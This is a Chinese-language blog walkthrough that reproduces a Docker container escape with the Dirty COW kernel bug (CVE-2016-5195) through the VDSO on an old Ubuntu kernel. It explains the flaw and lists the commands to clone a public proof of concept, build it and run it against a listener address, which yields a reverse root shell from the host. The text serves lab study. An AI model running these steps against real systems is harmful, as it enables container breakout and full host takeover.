Docker逃逸--脏牛漏洞POC测试

1,399 阅读2分钟

脏牛漏洞(CVE-2016-5195)与VDSO(虚拟动态共享对象)

一、漏洞描述

Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。

竞争条件意为任务执行顺序异常,可能导致应用崩溃或面临攻击者的代码执行威胁。利用该漏洞,攻击者可在其目标系统内提升权限,甚至获得root权限。VDSO就是Virtual Dynamic Shared Object(虚拟动态共享对象),即内核提供的虚拟.so。该.so文件位于内核而非磁盘,程序启动时,内核把包含某.so的内存页映射入其内存空间,对应程序就可作为普通.so使用其中的函数。

在容器中利用VDSO内存空间中的“clock_gettime() ”函数可对脏牛漏洞发起攻击,令系统崩溃并获得root权限的shell,且浏览容器之外主机上的文件。

 

二、漏洞利用条件

docker与宿主机共享内核,如果要触发这个漏洞,需要宿主机存在dirtyCow漏洞的宿主机。

这里,我们使用ubuntu-14.04.5来复现。

Ubuntu系统镜像下载:old-releases.ubuntu.com/releases/14…

内核版本(共享内核):

宿主机:

  bypass@ubuntu-docker:/$ uname -a
  Linux ubuntu-docker 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

容器:
    root@59b203abf9d1:/# uname -r
    4.4.0-31-generic
    root@59b203abf9d1:/# 
    root@59b203abf9d1:/# cat /etc/issue
    Ubuntu 20.04 LTS \n \l

 

三、漏洞测试复现

1、测试环境下载

git clone https://github.com/gebl/dirtycow-docker-vdso.git

2、运行测试容器

cd dirtycow-docker-vdso/
sudo docker-compose run dirtycow /bin/bash

3、进入容器,编译POC并执行

cd /dirtycow-vdso/
make
./0xdeadbeef 192.168.172.136:1234

 4、在192.168.172.136监听本地端口,成功接收到宿主机反弹的shell。

 参考文章:

 github.com/gebl/dirtyc…